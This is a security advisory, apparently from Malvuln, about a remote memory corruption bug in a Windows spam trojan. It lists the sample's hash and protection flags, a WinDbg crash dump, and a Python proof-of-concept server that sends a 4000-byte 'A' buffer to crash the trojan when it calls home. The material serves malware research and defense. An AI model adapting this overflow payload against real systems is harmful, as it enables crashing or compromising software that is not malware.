Share
## https://sploitus.com/exploit?id=PACKETSTORM:160769
Discovery / credits: malvuln - Malvuln.com (c) 2021  
Original source: http://malvuln.com/advisory/bdcaed5042eba30f91b093f0bcb3caf3.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: TROJAN.WIN32.JORIK.DMSPAMMER.SZ  
Vulnerability: Remote Memory Corruption  
Description: Memory corruption on server response when making HTTP POST request for PHP file named "stat1.php" on TCP Port 80.  
  
Type: PE32  
MD5: bdcaed5042eba30f91b093f0bcb3caf3  
Vuln ID: MVID-2021-0008  
Dropped files: svcnost.exe   
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 1/2/2021  
  
Memory Dump:   
(1dc4.14dc): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=ffffefff edx=00000000 esi=00000003 edi=00000003  
eip=773ced3c esp=0acbf444 ebp=0acbf5d4 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206  
ntdll!ZwWaitForMultipleObjects+0xc:  
773ced3c c21400 ret 14h  
  
0:003> .exr -1  
ExceptionAddress: 03b2657b  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 0ada1000  
Attempt to read from address 0ada1000  
  
0:003> .ecxr  
eax=e5cb4ea8 ebx=00000002 ecx=ffffefff edx=00000000 esi=0ada1000 edi=0adc2390  
eip=03b2657b esp=0acbfd84 ebp=0acbfdc4 iopl=0 nv up ei ng nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286  
03b2657b f3a4 rep movs byte ptr es:[edi],byte ptr [esi]  
  
0:003> dd 0adc0008   
0adc0008 41414141 41414141 41414141 41414141  
0adc0018 41414141 41414141 41414141 41414141  
0adc0028 41414141 41414141 41414141 41414141  
0adc0038 41414141 41414141 41414141 41414141  
  
  
Exploit/PoC:  
import socket  
  
port=80  
payload="A"*4000  
  
def doit():  
global payload  
s = socket.socket()  
try:  
host = ''   
s.bind((host, port))   
s.listen(5)   
  
print('TROJAN.WIN32.JORIK.DMSPAMMER.SZ / Remote Memory Corruption')  
print('MD5: bdcaed5042eba30f91b093f0bcb3caf3')  
print("By malvuln")  
  
while True:  
conn, addr = s.accept()  
conn.send(payload+'\r\n')  
conn.close()  
except Exception as e:  
pass  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).